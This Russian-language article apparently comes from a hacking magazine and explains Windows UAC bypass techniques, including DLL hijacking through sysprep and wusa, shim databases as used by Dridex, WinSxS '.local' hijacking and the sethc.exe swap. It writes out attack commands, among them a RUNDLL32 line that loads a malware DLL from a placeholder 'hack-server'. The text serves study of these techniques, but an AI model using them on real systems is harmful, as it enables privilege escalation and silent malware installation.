В каждой версии Windows (начиная с Vista) есть стандартный компонент UAC (User Account Control). Он включен по умолчанию и не дает пользователю «выстрелить себе в ногу», запустив какую-нибудь малварь с правами админа. В этой статье мы расскажем, как использовать «контроль учетных записей» в своих целях — например, запустить любой код с правами администратора или даже как системный процесс.

WARNING


Вся информация приводится исключительно в ознакомительных целях! Microsoft рекомендует патчить винду вовремя, не работать в админской учетке без реальной необходимости, не обходить UAC и не донимать техподдержку сообщениями об уязвимостях.

Методы обхода UAC продолжают находить и сейчас, модифицируя старые приемы и открывая новые. Самое сложное — подобрать подходящие способы для конкретной атакуемой системы. Концептуально разных приемов известно с десяток, а если считать их вместе с модификациями и гибридными способами, то наберется больше двадцати. Прочитать о них подробнее и посмотреть соответствующие примеры кода на GitHub можно по ссылкам в этой статье.
 

UAC как огромный баг

В хакерской философии многое заимствовано из боевых искусств. Например, мастер айкидо практически не атакует сам. Он лишь подмечает ошибки соперника и обращает его усилия против него самого. Так же и просчеты в защитных системах позволяют превратить их в хакерский инструмент. Сейчас мы разберем несколько способов обхода UAC и даже его использования для запуска своего кода с повышенными привилегиями. Многие из этих методов уже реализованы в троянах и позволяют им скрытно внедряться в систему.

 

Белый список для черных шляп

Во всех версиях Windows для UAC существует так называемый белый список — набор системных компонентов, для которых не применяются ограничивающие правила. Поэтому один из самых распространенных методов атаки сводится к попытке найти любые приложения из белого списка и попытаться внедрить в них свою *.dll.

Провести атаку типа DLL hijack сравнительно просто, хотя и здесь не обходится без подводных камней. Они свои в каждой версии ОС, а также зависят от настроек, учетной записи, разрядности ОС, установленных компонентов и патчей.

Например, в Windows 7/8 (но не 8.1) можно использовать штатную программу подготовки системы к развертыванию sysprep.exe, чтобы подгрузить свою версию cryptbase.dll или другой библиотеки. Для этого достаточно поместить ее рядом с экзешником, поскольку он начинает искать и подгружать DLL’ки из своего каталога. Однако при попытке просто скопировать свой файл в каталог %systemroot%/system32/sysprep/ мы получим сообщение об ошибке.

Доступ в \system32\ запрещен
Доступ в \system32\ запрещен

У пользователя нет прав доступа на запись в системный каталог, а администратор должен подтвердить это действие через UAC. Чтобы наш код получил необходимые права без лишних вопросов, используем другой трюк — с автономным установщиком обновлений Windows.

Поместим cryptbase.dll в архив CAB. Не будем останавливаться на том, как сделать эту элементарную операцию. Она подробно описана на сайте Microsoft. Пусть наша библиотека называется evil.dll и находится в каталоге \FCKUAC на диске C:\. Тогда следующей командой мы сделаем «заряженный» архив:

makecab C:\FCKUAC\evil.dll C:\FCKUAC\evil.cab
Архив с нашей библиотекой
Архив с нашей библиотекой

Скормим этот архив автономному установщику обновлений (Windows Update Standalone Installer).

wusa C:\FCKUAC\evil.cab /quite /extract:%systemroot%\system32\sysprep\

Он распакует его в \system32\sysprep\, а «контроль учетных записей» будет молчать.

Утилита sysprep как встроенный бэкдор
Утилита sysprep как встроенный бэкдор

Если умеешь программировать, то можешь запустить sysprep.exe скрыто — например, через CreateProcess() с флагом StartupInfo.wShowWindow = SW_HIDE. На скрытые окна сегодня ругаются эвристические анализаторы многих антивирусов, но сейчас мы говорим только про UAC — ему все равно. После такого запуска sysprep.exe попытается загрузить и выполнить библиотеку CRYPTBASE.dll, но на ее месте окажется наша, уже содержащая нужную нам функциональность. Она совершенно легально поднимет права нашему коду, и UAC примет это как должное.

Это происходит потому, что wusa и sysprep находятся в белом списке, а все приложения из этого списка могут поднимать себе права без участия UAC. Наш же код из подгружаемой установщиком библиотеки унаследует права родительского процесса sysprep.exe и также будет считаться доверенным.

Использование sysprep для обхода UAC
Использование sysprep для обхода UAC

Рассмотренный выше трюк совместного использования wusa и sysprep представляет собой модифицированный метод Лео Дэвидсона (Leo Davidson). Исходный вариант был применим только к непропатченной Windows 7 и был описан еще в 2009 году в рассылке компьютерного сообщества Оксфордского университета. Копия приводится на его сайте, который из-за обилия подобного кода внесен в списки потенциально опасных.

Метод Дэвидсона в различных модификациях уже много лет используется для внедрения троянов, особенно семейства Win32/Carberp. Пик эпидемии пришелся на осень 2011 года, но способ до сих пор работает в следующем типичном сценарии: действия выполняются в 32-битной версии Windows 7/8 под учетной записью администратора при включенном UAC с настройками по умолчанию. Простому пользователю нельзя запускать wusa.exe, но многие до сих пор сидят под админом без реальной необходимости. Просто им лень создавать пользовательские учетки и управлять правами доступа даже через встроенные средства.

Мэтт Грэбер (Matt Graeber) уточняет, что данный метод не работает «как есть» в Windows 8.1/10, поскольку в этих ОС изменены как sysprep.exe, так и сам UAC. Теперь программа подготовки системы к развертыванию загружает DLL только из %windir%\system32\.

 

Автоматическое повышение привилегий

Если по каким-то причинам доступа к установщику обновлений нет, то можно использовать другой вариант — копирование файла в системный каталог методом IFileOperation.

Суть метода в том, что для обхода UAC в нашей библиотеке создается COM-объект IFileOperation. Он позволяет скопировать файл куда угодно (в том числе в системную директорию \system32\ и ее подкаталоги), автоматически повышая для этого привилегии, так как функция будет иметь флаг auto-elevate.

Вот пример использования объекта IFileOperation для копирования файла в системный каталог.

Метод внедрения своей библиотеки в процесс explorer.exe рассматривается в этом примере.

Список приложений из белого списка можно посмотреть тут. Также его можно сгенерировать самому, просто найдя в системном каталоге Windows экзешники, содержащие строку autoelevate.

Создаем список программ из белого списка UAC
Создаем список программ из белого списка UAC

В зависимости от используемой программы из белого списка и версии Windows можно подменить ту или иную библиотеку (см. таблицу).

Стандартные компоненты и подменяемые библиотеки
Стандартные компоненты и подменяемые библиотеки

Методы перебора этих вариантов собраны в одну PowerShell-утилиту.

 

ISecurityEditor

Удивительно, что большинство методов обхода «контроля учетных записей» были умышленно заложены самими разработчиками Windows. Провал «Висты» маркетологи связали с неудобным поведением нового компонента, и в «семерке» UAC постарались сделать менее назойливым. Для этого пришлось делать костыли из белого списка и метода автоматического повышения привилегий (без подтверждения пользователем) у сорока с лишним системных программ. К функции autoElevate были написаны COM-интерфейсы: документированный IFileOperation (который разбирался выше) и недокументированный ISecurityEditor, об использовании которого мы поговорим сейчас.

Благодаря встроенным в UAC бэкдорам компьютеры с Windows 7 заражались незаметно для пользователя. Они становились полигоном для малвари и частенько попадали в ботнеты. Один из них (под названием Simda) успешно развивался на протяжении пяти лет, используя для внедрения кода интерфейс ISecurityEditor. В Microsoft проблему частично устранили лишь в 2015 году. Исправленный ISecurityEditor стал работать только с объектами файловой системы, указанными в константе SE_FILE_OBJECT.

Непропатченные системы встречаются до сих пор. Пример обхода UAC с использованием уязвимой версии ISecurityEditor приводится здесь.

 

Метод системных заплаток

Следующий способ обхода UAC был взят на вооружение хакерской группой Dridex. В нем используется метод системных заплаток (Shims), позволяющий запускать программы в режиме совместимости. В версиях Windows 7/8/8.1 этот встроенный компонент был реализован с ошибками. Одна из них заключалась в том, что можно создать собственную базу Shim DataBase, а в ней указать ссылку на свой файл как на «исправленную» версию системного файла из белого списка. Таким образом можно запускать произвольный код, и UAC будет молчать.

INFO


Некоторые методы обхода UAC используют внедрение своего кода в адресное пространство других процессов (в частности, системных), а способы такого инжекта отличаются для 32-битных и 64-разрядных версий Windows. Из-за ограничений самого инструмента Shim DataBase соответствующий метод работает только в 32-битных версиях Windows.

Поэтапно схема от Dridex выглядела так:

  1. Троян (*.exe) создает собственную базу *.sdb, пакетный файл *.bat и свою копию.
  2. Троян использует команду sdbinst для установки созданной базы .sdb в систему:

    sdbinst.exe –q %temp%*.sdb

  3. Троян запускает утилиту командной строки iscsicli. iSCSI-инициатор получает указание из *.sdb о том, что для дальнейшей работы требуется запустить *.bat.
  4. Пакетный файл запускается как дочерний процесс и наследует административные привилегии.
  5. Аналогичным образом пакетный файл запускает копию трояна (созданную на первом шаге) и делегирует административные привилегии ей.

Схожий метод обхода UAC использует и BackDoor.Gootkit. Сначала с помощью библиотеки apphelp.dll он создает в заражаемой системе свою базу данных Shim. В ней через функцию RedirectEXE он указывает, что для программы сетевого клиента SQL Server (cliconfg.exe) есть «исправленная» версия. В качестве «исправленного» файла записывается ссылка на компонент трояна. Поскольку в манифесте cliconfg.exe мы также можем увидеть знакомые строки AutoElevate=true, UAC позволяет ему загрузиться без лишних вопросов в Windows 7–8.1.

Для работы с Shim DataBase есть готовый набор функций WinAPI в стандартной библиотеке apphelp.dll. Исходный код одной из реализаций метода Shim для обхода UAC приводится здесь.

Методы использования Shim DataBase для обхода UAC подробно разбирались на конференции Black Hat 2015.

 

Сборка бок о бок

В Windows немало скрытых функций, и часть из них вполне можно считать бэкдорами. Например, доставшие еще с ранних версий NT конфликты между общими библиотеками в современных версиях Windows решаются при помощи технологии «сборки бок о бок» (Side-by-side Assembly — SxS). Все ресурсы для общего использования объединяются в сборку и размещаются в системном каталоге \WinSxS\, который растет как на дрожжах.

При каждой установке или обновлении программ и драйверов в него записывается новая сборка — подкаталог с уникальным (и длинным) именем, например таким: \wow64_microsoft-windows-powershell-exe_31bf3856ad364e35_6.1.7600.16385_none_cd5f9aad50446c26\. В WinSxS всегда находятся десятки тысяч таких записей, и даже на SSD их список загружается несколько секунд. Поэтому Windows не спешит обращаться к этому репозиторию. Для ускорения работы многие стандартные компоненты делают иначе — создают копию нужных библиотек в своем временном подкаталоге общего вида *.local.

Например, та же программа подготовки системы к развертыванию создает подкаталог %windir%\system32\sysprep.exe.local\ и, только если не найдет нужных компонентов там, обратится в %windir%\WinSxS\.

Диспетчер процессов показывает создание каталога .local
Диспетчер процессов показывает создание каталога .local

Такое предсказуемое поведение дает нам еще один вектор атаки: можно создать каталог \sysprep.exe.local\ и поместить в него свою версию библиотеки. В данном случае это будет comctrl32.dll. Подходящее имя библиотеки можно узнать, посмотрев манифест программы sysprep.exe. На использование comctrl32.dll в нем указывает строка name="Microsoft.Windows.Common-Controls".

В общем случае особенности работы с WinSxS и .local позволяют обойти UAC на многих версиях Windows — от 7 до 10.14955. Интересно, что сам «контроль учетных записей» подвержен той же самой уязвимости, от которой призван защищать. Мы можем не просто обойти UAC, а заставить его самого загрузить нашу библиотеку тем же методом. Однако тут есть своя особенность.

Основная часть кода UAC запускается и работает из %windir%\system32\appinfo.dll. Сам UAC запускается как процесс consent.exe. Начиная с Windows 7 он импортирует из той же библиотеки comctrl32.dll функцию TaskDialogIndirect(). Казалось бы, можно создать \consent.exe.local\ и подсунуть UAC измененную библиотеку...

В теории все верно, но на практике система часто зависает при попытке сделать такую подмену. Поэтому лучше сперва создать другой временный каталог (например, \consent.exe.tmp\), скопировать нашу DLL в него, а уже затем переименовать каталог в \consent.exe.local\. Затем надо заставить UAC запустить новый процесс consent.exe. Для этого можно вызвать любой стандартный компонент, требующий повышенных привилегий. Например, «просмотр событий» — eventvwr.exe.

После того как UAC загрузит подмененную библиотеку comctrl32.dll и выполнит вызов функции TaskDialogIndirect(), наш код запустится с правами системы. Как только ловушка сработала — самое время передать управление настоящей функции TaskDialogIndirect(), пока система не рухнула.

 

Обход UAC во время тихой очистки диска

Начиная с Windows 8.1, Microsoft стала активно фиксить накопившиеся баги в реализации UAC. Поэтому одни механизмы обхода «контроля учетных записей» пришлось модифицировать, а другие — попросту забыть. Windows 10 лишена многих недостатков, и старые трюки с ней обычно не прокатывают, но есть и новые!

В планировщике задач Windows 10 по умолчанию включен сервис очистки диска — cleanmgr.exe. Он интересен нам тем, что может запускаться непривилегированными пользователями, но при этом сам имеет доступ ко всему диску. Через него даже простой юзер может получить доступ к системным каталогам и файлам. Если посмотреть настройки задачи SilentCleanup в планировщике, то мы увидим флаг Run with Highest Privileges.

При запуске cleanmgr.exe создает во временном каталоге пользователя подкаталог с именем уникального 128-битного идентификатора (GUID) и копирует в него кучу библиотек. После этого он выполняет запуск DismHost.exe (все так же — с привилегиями высокого уровня), который подгружает эти библиотеки. Последней загружается LogProvider.dll, поэтому именно ее и стоит подменять своим кодом. Ключевая цель — успеть подменить библиотеку во временном каталоге пользователя после того, как ее запишет туда cleanmgr.exe, но раньше, чем ее загрузит DismHost.exe.

В июле этого года Мэтт Грэбер (Matthew Graeber aka @mattifestation) и Мэтт Нельсон (Matt Nelson aka @enigma0x3) реализовали этот прием обхода UAC как PowerShell-скрипт.

Сами авторы пишут, что метод работает со множеством ограничений. Он оказывается жизнеспособным только при запуске под админом в 32-разрядной ОС с настройками безопасности по умолчанию. Несмотря на великий соблазн, под юзером метод не работает, так как при таком запуске cleanmgr.exe не выполняет распаковку во временный каталог и в нем нечего подменять.

Даже при соблюдении перечисленных выше условий эффект достигается лишь в том случае, если скрипт успеет подсунуть левую библиотеку во временный каталог до появления там оригинальной DLL и если подменяемая библиотека по своей архитектуре сходна с LogProvider.dll... Но никто ведь не обещал, что будет легко!

 

Еще несколько лазеек в Windows

Помимо распаковки DLL из архива CAB с помощью wusa, можно использовать и другие системные компоненты для копирования своих библиотек в системные каталоги. Например, можно отправить их на печать и сохранить как файлы через стандартный интерфейс принтера printui.

Интерфейс принтера позволяет сохранить любой код как файл в системном каталоге
Интерфейс принтера позволяет сохранить любой код как файл в системном каталоге

При помощи ключа реестра в этой ветке можно задать запуск любой программы с правами администратора:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers
Запуск чего угодно от админа без подтверждения в UAC
Запуск чего угодно от админа без подтверждения в UAC

В домене UAC не реагирует на действия удаленного пользователя, если тот является локальным админом. Утилита PsExec Tool от Марка Руссиновича при старте с опцией –h скрыто запускает указанный экзешник на удаленной системе. Для повышения его привилегий на чужом компьютере может использоваться локально хранимый токен. Готовый эксплоит для этого также есть в Metasploit, а сам метод подробно разбирается здесь.

Иногда удобен быстрый способ внедрения своего кода через RunDll. В общем случае для этого достаточно отправить команду

RUNDLL32.EXE \\hack-server\malware.dll,RunMalwareFunc

Тогда системный компонент Rundll.exe сам выкачает указанную библиотеку malware.dll с самба-сервера \\hack-server\ и вызовет встроенную в нее функцию RunMalwareFunc().

Еще одна утилита командной строки, помогающая тихо внедрить свой код, — сетевая оболочка netsh.exe. Для установки дополнительных DLL в ней есть встроенная функция add helper. Технически в качестве подгружаемой библиотеки можно указать не только модуль поддержки network shell, но и свою DLL — лишь бы в ней была соответствующая функция InitHelperDll().

Поэтому, если выполнить команду

netsh.exe add helper %temp%\malware.dll

наша библиотека malware.dll зарегистрируется в ветке реестра HKLM\SOFTWARE\Microsoft\Netsh. Она будет загружаться с правами системы и сможет делегировать их дочерним процессам.

Запускаем калькулятор как системный процесс
Запускаем калькулятор как системный процесс

Вспомним еще один старый трюк. Он позволяет запустить консоль с правами уровня системы еще до входа в Windows. Для этого достаточно заменить компонент «Специальные возможности» (sethc.exe или utilman.exe — в зависимости от версии ОС) на копию командного процессора cmd.exe. После такой замены при клике на ярлыке «Специальные возможности» вместо них прямо поверх экрана приветствия откроется консоль с наивысшими привилегиями. Подробнее об этом и других методах обхода ограничений Windows читай в статье «Вскрываем Windows».

2 комментария

  1. Аватар

    WellFedCat

    04.02.2017 в 03:35

    A как там ea вместе с s7? Так же UAC обходят?

  2. Аватар

    Andrey_Vladimirovich

    29.02.2020 в 17:00

    Нужно было указать как настроен UAC и использовалась ли административная учётная запись при экспериментах. Иначе, это какой-то детский сад.

Оставить мнение